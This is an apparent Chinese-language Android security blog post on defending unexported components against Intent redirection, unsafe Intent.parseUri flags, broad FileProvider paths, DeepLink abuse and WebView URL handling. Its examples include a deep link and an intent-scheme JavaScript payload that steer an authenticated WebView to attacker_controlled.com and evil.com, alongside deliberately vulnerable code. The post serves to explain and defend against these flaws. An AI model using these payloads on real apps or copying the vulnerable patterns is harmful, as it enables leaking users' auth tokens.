Appearance
上一篇讲了[为什么要保护未导出组件]](android_access_protected_components.md),这一篇来说一下如何保护. 发现问题,我们就要有解决之道. 上一篇中所有的攻击行为,最终都要通过ProxyActivity作为入口,所以这里进行了阻断,那么就没有后续的问题了. 针对这个问题,有哪些攻击面呢:
- 导出的四大组件
- DeepLink
四大组件如何保护
导出的四大组件主要是通过Intent进行传递数据,总的来说只要我们:
- 不保证从getIntent之类的外部用户给出的Intent中直接创建Intent.
- 如果直接创建了Intent,要进行足够严格的检查.
不要从外部输入的Intent直接创建Intent
如果这条做到了,基本不大可能会出现问题,但是关键是有时候我们的业务需要,就是需要存在类似ProxyActivity的功能,那么该怎么办呢
对直接创建的Intent进行足够的检查
尽量不把Intent转给自己,如非必要,只转发Intent给其他package.
转发给自己的要严格检查
- 不能包含Intent.FLAG_GRANT_READ_URI_PERMISSION,Intent.FLAG_GRANT_WRITE_URI_PERMISSION等flag
- 对数据要做严格校验,比刚刚给上一篇中的AuthWebViewActivity的Intent中的url只能是指定的Host
Intent.parseUri的时候一定不要提供Intent.URI_ALLOW_UNSAFE
(startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))
这种是非常危险的FileProvider不要提供
<root-path name="root" path=""/>
这样的配置,确保共享的目录范围可控.
DeepLink
DeepLink实际上是Intent的一种特定形式,比如:
xml
<activity android:name=".AuthWebViewActivity" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="victim" android:host="secure_handler" />
</intent-filter>
</activity>
这里提供了scheme vicitim://
,这种类型的url会有系统自动转发给AuthWebViewActivity. 比如在浏览器中输入victim://some_victim_path?url=http://attacker_controlled.com
java
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
shouldOverrideUrlLoading
shouldOverrideUrlLoading 未必与DeepLink直接相关,但是一般都有关系. 如果重载了shouldOverrideUrlLoading,而且访问的页面又不是可以完全信任的(绝大多数都是这种情况),那么就相当于一个未导出的Webview变成了导出的.
比如:
java
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
startActivity(intent);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
如果页面中的js执行:
js
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
这里就像前面提到的,变成了一个导出的组件.可以任意访问内部未导出组件了.
下面这些应该写么?
加载url问题
如果LoadUrl可控,比如更改的webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
,那么要考虑:
- 任意文件读取问题 Android中WebView的跨域漏洞分析和应用被克隆问题情景还原(免Root获取应用沙盒数据)
- XSS问题 scheme是
javascript://
,那么就可以直接在当前页面执行任意js脚本.
针对这些问题:
- 不要允许webview访问FileUrl
- 不要允许javascript等scheme,应该只允许特定的scheme.